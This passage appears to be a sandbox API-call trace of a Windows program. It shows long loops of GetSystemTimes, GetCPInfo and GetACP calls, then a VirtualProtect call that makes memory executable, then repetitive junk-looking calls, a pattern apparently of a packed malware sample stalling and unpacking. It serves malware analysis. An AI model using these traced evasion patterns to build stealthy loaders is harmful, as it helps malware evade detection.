out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.346] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.346] GetACP () returned 0x4e4 [0052.346] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.346] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.346] GetACP () returned 0x4e4 [0052.346] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.346] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.346] GetACP () returned 0x4e4 [0052.346] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.346] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.347] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.347] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.347] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.348] GetACP () returned 0x4e4 [0052.348] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.348] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.349] GetACP () returned 0x4e4 [0052.349] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.349] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.350] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.350] GetACP () returned 0x4e4 [0052.350] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.351] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.351] GetACP () returned 0x4e4 [0052.351] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.352] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.352] GetACP () returned 0x4e4 [0052.352] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.352] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.352] GetACP () returned 0x4e4 [0052.514] VirtualProtect (in: lpAddress=0x5d5ac0, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0052.515] AddAtomA (lpString=0x0) returned 0x0 [0052.515] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.515] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.515] AddAtomA (lpString=0x0) returned 0x0 [0052.515] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.515] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.515] AddAtomA (lpString=0x0) returned 0x0 [0052.515] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.515] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.515] AddAtomA (lpString=0x0) returned 0x0 [0052.515] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.516] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.516] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.516] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.517] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.517] AddAtomA (lpString=0x0) returned 0x0 [0052.517] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.518] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.518] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.518] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0052.519] AddAtomA (lpString=0x0) returned 0x0 [0052.519] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0052.519] 